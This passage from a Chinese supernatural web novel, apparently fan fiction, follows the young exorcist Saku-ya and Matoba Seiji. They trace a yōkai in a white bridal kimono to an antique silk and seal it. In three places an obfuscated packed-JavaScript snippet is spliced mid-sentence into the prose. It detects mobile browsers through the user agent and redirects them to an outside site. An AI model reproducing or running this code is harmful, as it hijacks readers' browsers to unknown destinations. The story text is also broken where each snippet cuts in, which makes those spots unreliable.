只认识半年就订婚了吗?朔也有些不解。 渡边瞥了一眼他的表情,“觉得奇怪吗?果然还是小朋友呢,认为爱情和婚姻是一样的东西,嗯?” 朔也默然,他当然知道家族联姻这种事,只是没想到会突然看见活生生的例子罢了。 “那你了解佐藤小姐吗?” 大概是没想到朔也会问这种问题,渡边思索了一会儿,说道:“基本的了解当然是有的,鹤子虽然有些骄纵,但总的来说是个好女人。” 这种回答说了和没说一样,朔也发现他似乎很擅长回避别人的提问,于是干脆直白地问道:“最近一个月,佐藤小姐身边有发生什么让你觉得奇怪的事吗?” “能有什么奇怪的事?”渡边一边开车一边漫不经心地回忆道:“自从上个月订婚后她就有些紧张,偶尔脾气不太好,但这挺正常吧,婚前焦虑什么的。” “那今天在佐藤小姐的工作室呢?发生了什么?” 渡边看了他一眼,调侃道:“怎么?想当少年侦探?” “不方便说吗?” 渡边猜测道:“是莉子让你来问我的吧?其实也没什么,鹤子工作室的窗户被小偷砸破了,她不想让莉子担心,就没告诉她。” 朔也皱眉,这种事情…… 似乎是觉得朔也一脸严肃的样子很有趣,渡边忍不住伸手薅了下少年的头发,“大人的事情会自己处理,小孩子关心这么多干什么?” 朔也毫不客气地拍开男人的手,瞪了他一眼。 渡边不以为意,笑问道:“你是哪家的孩子?铃木?是本地的哪个家族吗?” “的场家。” “哦,的场家……诶?!!” 惊诧的渡边猛地踩下了急刹车。 * 朔也是被心虚的渡边送回的场家的,这个据说是静司先生学长的男人完全没有拜访昔日学弟的打算,放下他就离开了,朔也硬是从他的车尾气里看出了几分逃跑的意思。 “朔也,怎么了?” 在走廊上碰见朔也的的场静司盯着少年鼻梁上多出来的创可贴,明明他今天离开学校的时候朔也还好好的。 朔也有些无奈,“搭车的时候司机急刹车,我撞到了车上的装饰物。” “家里的司机没去接你吗?”的场静司皱起眉。 “啊,说起这个,有件很麻烦的事情需要静司先生帮忙。” “什么事?” “静司先生还记得那次相亲聚会吗?” “嗯?” “那位想追求你的佐藤小姐,被妖怪缠上了。” “……佐藤小姐?” 见的场静司似乎没什么印象的样子,朔也有些意外。 “诶?静司先生不记得了吗?她的妹妹还想从我这里打听你的喜好呢。” “哦呀,想起来了。”的场静司点点头,“然后呢?” “佐藤小姐不相信妖怪之类的事情,也不觉得自己碰到了怪事,但那个妖怪真的非常危险。” “所以是她妹妹求助了你?” “嗯,她目睹了一些‘异常’,非常害怕。”朔也蹙眉说道:“感觉还是越快解决越好。” “这样啊,我了解了。” 68.第六十八章 鹤子 * 朔也原本的想法是让的场静司联系佐藤鹤子进行沟通,对方大概会更容易相信一些,但没想到仅仅过了一个晚上,七濑那边就接到了来自佐藤家的委托。 不过发出委托的佐藤鹤子提了一个特别的要求,点名要朔也参与到委托中。 “为什么?”朔也很是困惑,“她应该更信任七濑阿姨才对吧?” “会提出各种无礼要求的委托人可是不少呢。”七濑笑道:“朔也拒绝也没关系,我们只负责解决妖怪的事情。” “况且,严格说来,朔也也还没到可以处理委托的年龄。” 当初铃木慎吾和的场家约定,朔也必须年满16岁才能接委托,现在距离朔也的16岁生日还差一段时间。 “啊,没关系,我做您的助理吧。”朔也思忖道:“那个妖怪似乎很凶恶,我很在意。” 七濑欣慰地点点头,“那就拜托了。” * 朔也再次见到佐藤鹤子是在她的设计工作室里,她突然改变主意找的场家帮忙,是因为工作室里又发生了一件怪事,而这次,她实在找不到其他可以解释的理由。 在这件怪事发生的前一天,工作室刚遭遇了一场离奇的“盗窃”——窗户被人从内部打碎,室内一片狼藉却没有物品丢失——比起被盗,更像是有人蓄意报复。 而仅过去一个晚上,工作室又雪上加霜。 这一次,佐藤鹤子为自己设计的婚纱被毁坏了,它被利器割得面目全非,还被泼上了红色的染料,看起来像是凶杀现场,十分可怖。 之所以说这些事怪异,则是因为工作室位于安保严密的高级写字楼,监控十分完善,而在可能的“作案时间”内,监控里除了佐藤鹤子外并没有发现任何可疑的人。 种种诡异的因素结合到一起,再联想到妹妹近期反复提及的异常,佐藤鹤子终于无法再自欺欺人,只能联系了的场家。 此刻,七濑和朔也正四处查看着。 朔也看了一圈,最后在被损坏的婚纱前站定,这间工作室和佐藤宅一样,到处残留着妖气,而妖气最浓郁的地方,就是这件原本应该十分美丽的婚纱。 “你们发现什么了吗?”佐藤鹤子问得很是急切。 朔也转头看向她,佐藤鹤子看起来比昨天更憔悴,脸色白得几乎发青,红肿的双眼里是掩不住的焦躁和烦闷。 “佐藤小姐,莉子昨天给你的御守你有带着吗?” 佐藤鹤子皱起眉,语气有些不耐,“没有,但这和今天的事有关系吗?我请你们来可不是纠结这种小事的!” “这可不是小事。”七濑闻声走了过来,她温和地笑道:“朔也制作的御守能够保护你不被妖怪依附,如果你带上它的话,今天的事大概就不会发生了。” 佐藤鹤子一脸惊愕,“什么意思?” 七濑解释道:“那个妖怪可能附身在你身上,操纵你毁掉了婚纱。” “怎么可能?!”佐藤鹤子生气地说道:“我早上过来时它就已经被毁了!” “佐藤小姐,你最近是否经常恍神呢?”七濑看着她问道:“尤其是独自一人的时候,可能只是走了会儿神,再回神时发现出现在另一个地方,或者想不起自己要做什么……” 佐藤鹤子顿住了,她回想起最近的情况,确实经常莫名其妙地走神。 今天早上也是,她抵达停车场之前的记忆都很清晰,但后面似乎发了会儿呆,再回神时自己就已在工作室里了。 “难、难道今早……”佐藤鹤子的身体忍不住颤抖起来,她下意识地环抱住自己。 即使已经有过心理准备,但真的听到这种只会在怪谈传说里出现的东西,这个东西甚至还会附身在她身上,佐藤鹤子实在难以接受。 朔也掏出一张守护符咒递给她,“别害怕,它现在不在你身上,也不在附近。” 佐藤鹤子接过符咒,有些惊惶地问道:“它到底是什么东西?” “这也是我们正在调查的。”七濑说道:“我听朔也说过贵宅的事情,这个妖怪大概纠缠你很久了,我们得去那边查看。” 佐藤鹤子点点头,不禁懊恼起来,她不该忽视莉子说的那些的,莉子大概已经独自害怕了许久。 想到这里,她看向朔也,有些别扭地说道:“谢谢你,铃木君。” 朔也微笑颔首,佐藤鹤子态度的转变让他暗暗松了口气,这件事和对方紧密相关,若她不再抵触,调查起来也更方便。 果然,在去佐藤宅的路上,佐藤鹤子就在七濑的引导下回忆起曾被她忽略的那些怪事。 事情是从一个多月前佐藤鹤子和渡边订婚后开始的。 她先是发现有些衣服和首饰不见了,但因为衣帽间的东西很多,她又喜欢随手乱放,偶尔找不到东西也正常,就没多想。 “丢失的具体是什么呢?”朔也有些好奇。 “呃,一些日常的衣服,感觉没什么特别的,首饰的话……订婚戒指不见了,其他都是小饰品,我不常用,所以没注意。” “订婚戒指?” 见朔也似乎有些惊讶,佐藤鹤子解释道:“啊,我觉得它看起来太浮夸了,很少佩戴,再找时就发现不见了,渡边觉得不是什么大事,我也没太在意。” 朔也想起昨天渡边说的那些话,这两人好像都只是将这场婚姻当做需要完成的家族任务。 “不过丢失东西也就那几天,之后我做了一段时间的噩梦,状态很不好,差点出了车祸。” 朔也警觉起来,问道:“什么样的噩梦?” “一个穿着白无垢的女人。”佐藤鹤子回忆道:“我看不清她的脸,只记得那身白无垢非常漂亮,在黑暗里发着光。” “她一直追着我,我只能逃跑,然后惊醒。”想起那段时间,佐藤鹤子心有余悸地抱怨道:“只要我一入睡,她就会出现,等我惊醒后再次入睡,她依然会出现,简直阴魂不散!我根本睡不了觉!” 白无垢是新娘在传统婚礼上的礼服,而佐藤鹤子丢失的东西中最贵重的无疑是那个订婚戒指,这些事又都是在订婚之后发生的…… 朔也和七濑对视一眼,有了同样的猜测。 妖怪作祟很可能和佐藤鹤子的婚事有关,并且这个妖怪的行动已经越来越过激,下一步只会做出更危险的事。 朔也想了想,觉得有些奇怪,问道:“渡边先生呢?他身边有发生什么吗?” “呃,我不知道。”佐藤鹤子摇了摇头,“我们很少聊这些,不过他看上去没什么异样,应该还好吧。” 说是未婚夫妻,但实际上却和陌生人差不多,所谓的家族联姻就是这样的么? 朔也微微蹙眉,很是不解。 * 没能从佐藤鹤子那里了解渡边的情况,朔也正想着怎么联系他,却没想到他们一行人到佐藤宅的时候,渡边已经在这里等候多时了。 更出乎朔也意料的是,渡边一见到他就着急地把他拉到了一边。 “怎么了?” 朔也打量着男人,对方脸上比昨天多出来两个黑眼圈,配上眼里的红血丝,十分醒目。 “你昨天给我的御守是什么?还有吗?”渡边的语气很是急迫。 “我自己做的守护符。” “再给我一些吧!多少钱?我可以买!” 朔也皱着眉,问道:“你碰到什么东西了?它袭击你了?” 渡边诧异地瞪着眼,“你怎么知道?!” 朔也有些无语,“你以为我来佐藤家是干什么的?” 渡边顿了会儿,反应过来,索性扯开高领毛衣的领子,示意道:“我昨晚差点被一个女鬼掐死!” 男人的脖颈上有一圈清晰的青紫色勒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986833|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痕,看着很是吓人。 朔也细细打量了一会儿,问道:“你说的女鬼是一个穿着白无垢的女人吗?” “你怎么连这个都知道?”渡边先是很震惊,然后突然惊恐地看向四周,“不、不会她正跟着我吧!” “没有。”朔也敷衍了一句,转而问道:“这个痕迹不像是被手或绳索勒出来的,是什么呢?” 不知道是心太大,还是被朔也冷静的状态影响,刚刚还一惊一乍的渡边这会儿竟然不忘开玩笑,“你还懂这个?不会真的是少年侦探吧?” 朔也面无表情地盯着他。 渡边摸了摸鼻子,说道:“是一条领带。” “我梦见那个女鬼掐着我的脖子,惊醒后依然喘不过气,只觉得有东西绞着脖子,怎么拉扯都扯不开……” 回忆着的渡边打了个冷颤,深吸一口气后继续说道:“直到我摸到你给我的御守,那东西才松开,结果扯下来之后才发现是鹤子送给我的领带……” 朔也有些惊讶,“佐藤小姐送给你的?” “嗯。”渡边解释道:“她说那条领带用了和婚纱一样的设计元素,让我在举行西式婚礼时戴。” “嗯。”朔也点点头,问道:“我能看看那条领带吗?” “当然,我让人送过来。”渡边说着突然想起自己最着急的事情,问道:“那个御守你还有吗?” 朔也递给他一张守护符咒,叮嘱道:“在我们找到那个东西之前,你待在佐藤宅更安全。” 渡边翻来覆去地看着手里的符咒,倒是没对朔也的提议有任何不满,经过昨晚的可怕事情,他巴不得在这里待着,至少的场家的人看着还挺可靠的。 “喂,小朋友。”渡边冲朔也眨眨眼睛,低声问道:“所以你们的场家的人真的能看见别人看不见的东西?” 朔也微微挑眉,“你想问什么?” 渡边讪讪地笑了笑,“那的场学弟、咳!我是说的场静司,他也能看见咯?” 朔也瞥了他一眼,看向他身后,微笑道:“这么好奇的话,你直接问他不就好了,正好静司先生也过来了。” 渡边顺着朔也的视线回头望去,就看见自己曾经的学弟正向着他们走过来。 他迅速地转过头,“我去拿领带,不打扰你们了!” 朔也看着渡边匆匆忙忙地走掉,不禁有些好奇,等的场静司走近,他忍不住问道:“静司先生,你认识渡边先生吗?他好像有些畏惧你?” “是吗?”的场静司不以为意。 朔也眨眨眼,“渡边先生说他是你的高中学长。” 的场静司回想了一下,“没什么印象。” “诶——” 朔也像是遗憾一样的感叹声让的场静司笑了起来,“如果我说认识的话,朔也想做什么呢?” “问问他静司先生高中时候的事啊。”朔也有些不好意思的坦白道:“我很想知道静司先生那时是什么样的。” “哦呀,那时朔也已经到的场家了吧?”的场静司笑道:“难道这么快就忘记那时的我了吗?我可是会伤心的。” “不是……”朔也挠了挠脸颊,努力解释道:“那时我只见到了学校外的静司先生啊,学校里的静司先生会是什么样的,我很好奇。” 的场静司有些意外,“我在学校里很无聊哦,在其他人看来大概只是个脸还过得去的无趣家伙。” “哪有人这么评价自己的。”朔也不满地抱怨着。 的场静司弯起嘴角,“朔也为什么突然对这些感兴趣了?” 朔也看了他一眼,撇开脸,“就是想知道,不行么?” 少年有些别扭的样子实在可爱,的场静司笑眯眯地点点头,“这可是我的荣幸。” “静司先生!”朔也气闷。 “啊,七濑在叫我们了,一起过去吧朔也。” 69.第六十九章 调查 * 七濑查看过佐藤宅后得出了和朔也一样的结论,那个妖怪已经将佐藤宅视为己有了,毫无顾忌地留下了许多痕迹。 “佐藤小姐丢失的东西果然如朔也所说,都被埋在了草坪里。” 七濑赞赏地看了眼朔也,转而冲的场静司解释道:“现在需要调查一个化形为身穿白无垢的女子的妖怪。” 即便人类和妖怪共存了这么长久的时间,但对妖怪的了解却十分有限,又或者说,“未知”本身就是妖怪令人恐惧的原因之一。 “在过往的记载里没见过能完全对应的妖怪。”的场静司思索了一会儿,说道:“不过和婚姻相关的妖怪倒是有听说过。” “是‘夜叉女’么?”朔也忍不住问道。 “哦呀,朔也知道?” “呃,我在月见先生那里看到过相关的资料。”朔也回想了一下,“据说夜叉女由被丈夫背叛的女子幻化而成,因为心怀怨恨,会吃掉背叛妻子的男人。” 说到这里,朔也顿时联想起渡边的遭遇,“啊!渡边先生昨晚被那个妖怪袭击了,险些被勒死。” 七濑点点头,“那看来这次的妖怪很可能也是‘夜叉女’的一种。” “而且我总觉得它已经没什么耐心了。”朔也皱着眉思忖道:“一开始只是丢弃订婚戒指,之后又在梦里恐吓佐藤小姐,这两天又陆续毁坏工作室和婚纱——这些都像是在不断提醒佐藤小姐不要结婚。” “可能因为佐藤小姐一直没意识到它的存在,所以它想杀了渡边先生,还好我昨天给了渡边先生御守,它没能成功。” “但我想它不会放弃的,现在最危险的是渡边先生。” 朔也抬头,发现七濑和的场静司正笑眯眯地看着他。 “怎么了?” “朔也已经是非常优秀的除妖师了。”七濑欣慰地赞叹道,语气里满是期许,“再过不久我应该就可以退休了。” 朔也微红着脸,抱怨道:“总这么夸我的话,真的会变自大的……” 的场静司轻笑了一声,解围道:“既然已经有了眉目,接下来就需要佐藤家的配合了。” “嗯,我去安排。” * 七濑所说的安排,就是清空宅院、设下退治妖怪的陷阱。 佐藤家除佐藤鹤子外,其他人都去往了另外的住处,而未婚夫渡边则留了下来。 朔也正准备去帮忙设置符阵,渡边叫住他。 “呐,就是这个。” 渡边像拎着什么可怕的东西一样,拎着一条白色的领带递给朔也,他仅用两根手指捏着一点点边缘,胳膊伸出去老远,十分嫌恶。 朔也瞥了他一眼,淡定地接过来仔细查看。 这条领带设计得十分简约,比较特别的是它采用的布料,是一种极有质感的丝绸,看上去是温润的奶油色,在光照下泛着柔和的珍珠样的光泽,手感柔软又富有骨力,应该是很高级的织物。 朔也在佐藤鹤子为自己设计的婚宴礼服上也看到过同样的面料。 “啊,这是我收藏的古着面料。”当朔也询问佐藤鹤子时,她如此解释道。 “我从一家古董店淘来的,是从大正时代传下来的丝绸,能保存到现在很不容易呢。因为是做白无垢的面料,所以我裁剪了一些用来设计婚礼的礼服。” “佐藤小姐,能让我们看看那匹布吗?” 佐藤鹤子爽快地答应下来,带着朔也他们进了收藏室。 “说起来,这匹布历经百年还可以保存得如此完好,真的让我很惊讶。” “是有什么特别之处吗?” “丝绸这样的面料非常娇贵,空气太干燥或湿润都容易损害它,即使环境适宜,面料的颜色也必定会出现‘经年变化’,我们现在看到的奶油色或象牙色,放在百年前其实是雪白的。” “最让我吃惊的是面料上的痕迹,一般被折叠存放的古着面料上经常会有非常深的折痕,这些折痕即使用蒸汽熨烫也很难完全消除……” 佐藤鹤子一边说着一边从玻璃柜中小心地取出面料,示意道:“但你们看,这匹丝绸上没有一丝折痕,这对古着面料来说几乎是不可能的事。” 确实,这匹丝绸被佐藤鹤子展开时如水流一般自然舒展,在收藏室柔和的射灯下闪耀着月光般的色泽。 “真漂亮啊!”佐藤鹤子定定地看着丝绸,情不自禁地感叹道:“我第一眼看到它时,就觉得它像是有生命一样,美得惊人。” 朔也和的场静司对视一眼,又看了看七濑,这两人都微笑着看着他,露出些许袖手旁观的意味。 于是朔也看向佐藤鹤子,直率地说道:“佐藤小姐,这匹丝绸应该就是那个妖怪的依附之物,它是跟着布匹来到这里的。” 佐藤鹤子愣住了,她看了朔也一眼,又看向手里的丝绸,“呃,你们不会弄错了吧?这只是一匹布而已……” 她的声音里充满了不确定,神情十分纠结。 “你也察觉到了,它和其他古着面料很不一样。”朔也解释道:“这是因为妖怪将它视作巢穴,用妖血和妖气滋养了它。” 佐藤鹤子看着自己正捧在手中的织物,“可是,我真的从来没有见过这么美的丝绸……” 她看不到缠绕在丝绸之上的浓郁诡异气息,呈现在她眼中的只是美丽到让她不忍割舍的心爱织物。 “它确实很美,但也非常危险。”朔也劝告道:“就算那个妖怪没有伤害你,缠覆在丝绸中的妖气也会影响你,放大你的执念,让你迷失其中。” 这句话提醒了佐藤鹤子,她很喜欢古着和服面料,收藏了许多,但从没像对这匹丝绸一样如此喜爱,以至于有时会心神不宁…… “那这个,你们会怎么处理?”佐藤鹤子担心地问道。 “在退治妖怪后,我们会净化它,不过净化之后,它的外观大概会有些变化。” 佐藤鹤子依依不舍地叹了口气,但还是把丝绸收好放入了一旁的木盒中,递给朔也。 “不管怎样,拜托了。” * 暮色降临,该设的符阵和结界都已弄好,佐藤宅内一切已安排妥当。 今晚七濑会陪佐藤鹤子留在她的房间内,渡边则被安置在最大的客房里,封印妖怪的符阵陷阱也是设置在客房中。 “呃,小、咳!铃木君,我真的会没事吗?” 看见朔也正在检查弓箭和符咒,渡边慢慢蹭到他身边,小心问道。 “放心吧,躺在床上的是你的‘形代’,你会被结界隐藏起来的。”朔也一边将符咒系到羽箭上,一边说道:“而且我会和你待在一起,保护你。” 渡边打量了朔也几眼,怀疑地问道:“你……不害怕吗?” 朔也看了他一眼,了然地说道:“你更想问我有没有能力保护你吧?” 渡边讪笑了一声。 朔也不以为意,“放心吧!静司先生也在,他不会让我们出事的。” 提到的场静司,渡边顿时安静下来,仿佛被什么噤声了一样。 朔也看着他,若有所思地问道:“你为什么会怕静司先生?” “哈哈,怎么可能,我可是他的学长……” 渡边故作轻松的语调在朔也的视线中虚弱下去,他尴尬地问道:“你看出来了?” “太明显了。” 渡边显得更尴尬了,勉强解释道:“我就是觉得他有点可怕而已。” “为什么?”朔也怀疑地盯着渡边,“是发生过什么事吗?在静司先生上高中的时候?” 渡边挠了挠头,没吭声。 朔也顿时来了兴趣,他看了看远处正在和七濑商量着什么的的场静司,又看向渡边,低声说道:“你悄悄告诉我,我不会告诉静司先生的。” 渡边犹豫了一会儿,说道:“那你得再给我几个那种御守!” “成交。”朔也点点头。 渡边已经在佐藤宅无聊了许久,这会儿有人陪他说话他还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994816|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挺高兴的,于是不再纠结,给朔也讲了那件他高三时期发生的事情。 高中时期,学生们、尤其是男高们中间很流行“试胆大会”,渡边和几个朋友也经常参加。 有一次,有个朋友发现了一栋废弃的老宅,觉得很是阴森恐怖,就叫上渡边和另外一些人在那里举办试胆大会。 一开始他们都不怎么害怕,一行人在里面窜来窜去,嘻嘻哈哈的也没觉得有多恐怖,于是突然尿急的渡边就独自去院子里解决。 但等他再回到屋内时,却发现刚刚还在宅子里叽叽喳喳的人全都不见了,好像瞬间都消失了一样。 渡边虽然有点慌,但以为是朋友们的恶作剧,就独自在宅子里找了好久,结果,他当然一个人都没找到。 这时候他害怕起来,决定离开废宅,但不知道为什么,屋子的出口消失了,原本大门的位置变成了坚硬的墙壁,他在宅子里绕了许久,直到天都黑了也没能走出去。 他越来越害怕,而就在这时,房间楼上突然响起了各种奇怪的声音,一会儿像是小孩从楼上跑过,一会儿是什么抓挠墙壁的声音,还有木门开合的嘎吱声……这些异常都快把渡边吓疯了。 就在渡边抱着头躲在角落里痛哭的时候,一股阴冷的气息逐渐笼罩了他…… “我当时很绝望,只敢闭着眼睛,结果突然听到‘咚’的一声,像是什么东西扎进了墙里!” 渡边讲到这里,还冲朔也卖了个关子,“你猜是什么?” 朔也心想渡边先生还挺有讲故事的天赋的,淡淡地回道:“是羽箭。” 渡边卡了壳,尴尬地笑了两声,“这你都能猜到?” “然后呢?”朔也催促道。 “我睁开眼睛,就看见自己脑袋旁边插着一只箭,只差一点点,就一点点!这只箭就能射穿我的脑袋!” 渡边特意举起手比划了一下距离,接着他压低声音说道:“我抬头一看,发现冲我射箭的人就是的场学弟。” 朔也微笑着点点头,“然后呢?” “然后他对我说……”渡边清了清嗓子,刻意模仿出冷淡傲慢的语气,说道:“滚!” 朔也看着渡边。 渡边也看着他。 “然后?”朔也问道。 “然后我就滚、不是!我就回家了。”渡边若无其事地回道。 朔也狐疑地打量着他,“就因为这个,你就害怕静司先生?” “这个难道不够可怕吗?”渡边反驳道。 朔也思索了一会儿,摇了摇头,“你在撒谎。” 渡边瞪眼,“我怎么撒谎了?” 朔也眯起眼睛盯着他,“你说你在宅子里待到天黑,废弃的宅子里不说漆黑一片,光亮也十分有限,你怎么只需一眼就确定那个人是静司先生呢?” “而且在那种诡异的情况下,碰到一个你认识的人类,你的第一反应难道不应该是求助吗?就算他冲你射了一箭,你也应该会质问?怎么一声不吭地跑了?” 朔也细细打量着渡边的神色,猜测道:“你的这个反应,反倒像是做什么亏心事被对方抓了个正着,这件亏心事不仅让你当时落荒而逃,更让你到现在都不敢和静司先生说话。” 渡边瞪着朔也,被噎住了。 “看来我猜对了?” 渡边慌忙看了看四周,小声质问道:“你老实说,你是不是能看见别人在想什么?” 朔也无语,“我能看见的话还需要问你?” 渡边松了口气,他本想含糊过去,但眼前这个少年的眼神让他莫名说不了谎。 “如果我告诉你,你绝对不能告诉的场!”渡边神情凝重地说道:“不然我会死!” 这次朔也倒是愈发好奇了,于是他肯定地点点头,承诺道:“我不会说的。” 渡边深吸一口气,露出一种仿佛正在对神父忏悔的表情,极小声地说道:“其实,我那天正在卖的场学弟的写真集。” “哈?!!” 70.第七十章 夜叉 * 七濑看了一眼时间,现在已经是深夜。 房间里留着夜灯,昏暗的光线勾勒出床上的身影,那是佐藤鹤子的“形代”,真正的鹤子正躲在她身后的符阵里。 “它怎么还不来?”佐藤鹤子等得十分焦躁,低声问道:“是不是它发现了什么?” 七濑温和地安抚道:“妖怪和人类不一样,执念会让它们忽略其他东西,飞蛾扑火般填补自己的欲望。” 这样的说法没能安慰到佐藤鹤子,反而让她感到一种更深的恐惧。 她竟然无知无觉地和那种东西生活了那么久吗?莉子所说的那个行为诡异的“她”一定是那个非人之物吧。想到它让自己生吃过肉食,佐藤鹤子顿时泛起了恶心。 “小心,它来了。”七濑突然提醒了一声。 佐藤鹤子打了个哆嗦,身体紧紧地蜷缩到一起,瞪大眼睛看向床上的“形代”,既想看清可能存在的异常变化,又害怕真的看见什么可怖的东西。 不过,她当然看不见已经袭来的妖怪。 七濑倒是看得一清二楚。 一缕缕带着微弱莹光的白色丝线从门缝里钻了进来,像蛇一样沿着墙壁游动,伸向床上的身影。 在丝线即将触及“形代”时,它像是察觉到了令它不安的气息,迟疑了一会儿,但最终还是缠了上去。 白色丝线越缠越多,渐渐将“形代”裹成了木乃伊一样的丝茧,这时它好像觉出了不对劲,丝线停顿,然后快速松开“形代”。 七濑立刻念出真言,四周的结界被触发,网状的光链将丝茧锁在其中,符阵同步被唤醒,瞬间激起刺耳的尖叫。 「可恶!竟然欺骗我!是谁?到底是谁?!」 七濑没有理会,继续念诵着真言。 符阵中的丝茧剧烈挣扎,仿佛有什么东西即将从里面破开,挣扎的力道越来越大,就连结界也变得勉强起来。 七濑皱起眉,正准备扔出手中的符咒,丝茧却猛地破开,将结界冲击出缝隙,白色丝线一涌而出,沿着进入时的方向如潮水般退去,因破茧而断裂的那些则迅速消散在符阵中。 * 佐藤宅的客房里一片静谧,朔也坐在掩藏渡边的符阵前,一动不动地盯着门口,的场静司则坐在离他几步远的地方闭目养神,看上去比朔也放松得多。 因为等了许久,一开始还战战兢兢的渡边已经靠着墙打起了盹,很是心大。 突然,朔也睁大眼睛看向的场静司,两人对视一眼,都站起身看向门口。 白色丝线像是某种动物的触角,从门缝里挤了进来,先是几缕,接着越来越多,直至覆盖每一处缝隙,随着“呯”的一声,门被彻底掀开,狂暴的妖气冲进室内。 渡边被惊醒,他一脸惊恐地看向似乎被什么东西撞开的门,慌张地问道:“怎、怎么了?” 朔也转头瞪向他,渡边这才记起对方之前的叮嘱,赶紧捂住嘴巴。 「在哪里?那个男人在哪里?!我闻到了他的味道……」 无数白色丝线汇聚到一起,缠绕聚拢逐渐化为一个身穿白无垢的女人,它缓缓走进房间,向着床上渡边的“形代”靠近。 朔也拉开弓,瞄准女人,在他的眼中,一小团血红色的光亮正在它的身体中游走。 「他在哪儿?到底在哪儿……」 女人走到床边,白色丝线从它身体里探出,凝聚成一条条蛇一样的绳索,猛地缠住“形代”,其中一条绳索更是死死地绞住“形代”的脖子。 「该死!不忠的男人,都该死!!」 渡边看不见妖怪,却能看见代替自己的“形代”正被看不见的东西绞得嘎吱作响,他哆嗦着退到了墙角,死死捂住嘴不敢发出一丁点声音。 「嗯?不,这不是他……」 在几乎将“形代”绞成两截之后,女人突然停了下来,它转头,像是打量着房间。 过了一会儿,它似乎觉察到了异样,慢慢向着朔也的方向走过来。 朔也盯着它不断移动的位置,当它终于步入陷阱中时,干脆利落地射出羽箭。 箭矢没有射向女人,而是射向了天花板上的符阵中心,结界瞬间被触发,符纹锁链亮起,朔也又接连射出几箭唤醒不同方向的符阵,符纹锁链层层叠叠,如同牢笼般将女人捆住。 「可恶!竟然是除妖师!!」 一旁的的场静司不慌不忙地念出真言,符纹锁链将激烈挣扎着的女人牢牢钉在原地,随着念诵的真言越收越紧,直至女人发出痛苦的哀嚎。 白色的丝线四散开,女人的形体即将溃散,却又被符阵阻止,只能再次凝聚成人形,如此反复几次,女人的哀嚎更加凄厉,逃散开的丝线因为结界的阻隔,只能在符阵内疯狂地乱窜,逐渐徒劳地纠缠到一起。 朔也看向的场静司,见对方微微点了点头,于是冲女人问道:“你是夜叉女?” 「呵!竟然不知道我白夜叉,看来不过是个半吊子的除妖师小鬼!」 的场静司继续念诵真言,女人又痛苦地哀嚎起来。 朔也不为所动,平静地说道:“白夜叉,这个家不是你该待的地方,你必须离开。” 被惩罚的痛苦让白夜叉收敛了一些,只是怨念依旧深重。 「那个女人把我带到了这里,还供奉了我,这里当然就是我白夜叉的领地!」 “供奉你?”朔也皱起眉。 「当然!那个女人供奉了我的巢穴,还为我的灵体上供了美味的牛肉。」 朔也怔愣了一瞬,看来佐藤鹤子收藏丝绸的举动被白夜叉理解成了供奉,至于牛肉,如果佐藤鹤子曾用牛肉投喂过野猫的话,那到底是不是真的野猫看来也值得商榷。 「哼!没有我,那个蠢女人被男人背叛了都不知道!」 白夜叉的语气十分嫌恶,但很理直气壮。 「她实在太蠢了,我提醒了她那么多次,她都没有察觉,蠢得可恶!」 「不过她既然供奉了我,又不愿意结束婚约,我自然得帮她吃掉那个不忠的男人。」 “白夜叉,佐藤鹤子并没有供奉你,她根本不知道你的存在,也绝不会让妖怪吃掉她的未婚夫。” 白夜叉阴森森地盯着朔也。 「小鬼,我才是这里的主人,那个蠢女人的一切都属于我。」 的场静司又念起了真言,房间内顿时响起了妖怪的哀嚎声,很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997720|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是刺耳。 朔也看向他,“静司先生,这个妖怪很固执,不如先封印?” 的场静司微笑颔首,“就按照你的安排吧。” “嗯。” 朔也没有任何迟疑,利索地拉弓射出系有封印符咒的羽箭,白夜叉在不甘心的嘶吼中被封印陶壶吞噬。 朔也眼疾手快地盖上木塞,在封口处贴上符咒,然后将陶壶交给的场静司。 像白夜叉这样难对付但能沟通的妖怪,的场家会在封印后考虑和它们做交易。 的场静司打量了一圈手中的陶壶,颇有深意地问道:“朔也不介意之后对它的处理吗?” 朔也想了想,“我的话,其实更想直接祓除来着,毕竟是对吃人毫无顾虑的凶恶妖怪。” “哦呀,少见的强硬态度呢。”的场静司弯起嘴角。 “不过,虽然它大概率曾吃过人,但我不曾亲眼所见,直接祓除倒显得冷酷独断,只能先封印起来了。” 朔也看着的场静司,意有所指,“如果之后它再作恶,我不会犹豫的。” 的场静司笑着点点头,“我明白了。” “呃,结、结束了吗?”缩在角落的渡边小心翼翼地问道。 “嗯,解决了,你也安全了。”朔也看向渡边,突然问道:“那个妖怪说你是个‘不忠的男人’,为什么?” 没有任何防备的渡边突然剧烈地咳嗽起来,一张脸变得通红。 